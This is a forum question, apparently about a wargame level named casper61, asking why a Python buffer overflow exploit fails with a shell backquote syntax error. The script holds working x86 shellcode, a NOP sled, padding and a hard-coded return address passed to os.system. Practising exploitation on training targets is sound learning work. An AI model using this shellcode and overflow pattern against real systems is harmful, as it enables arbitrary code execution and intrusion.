title: Python script issue: "sh: 1: Syntax error: EOF in backquote substitution"
body: <p>When I try to execute the following script:</p>
  
  <pre><code>#!/usr/bin/python
  import os
  level="/casper/casper61 "
  tmp_level="/tmp/r_734224hlb/casper61/casper61 "
  nop_sled= "\x90"*40
  
  shellcode="\x31\xc0\x50\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
  buf_addr= "\x60\x98\x04\x08"
  overw_buf= "X"*603
  payload = nop_sled + shellcode+ overw_buf + buf_addr
  os.system(level+ payload)
  exploit()
  </code></pre>
  
  <p>I got this error: </p>
  
  <blockquote>
    <p>sh: 1:Syntax error: EOF in backquote substitution.</p>
  </blockquote>
  
  <p>I have another similar script that in which only the buffer address is different which works without any problem. </p>
  
  <p>Can someone help me? Thanks</p>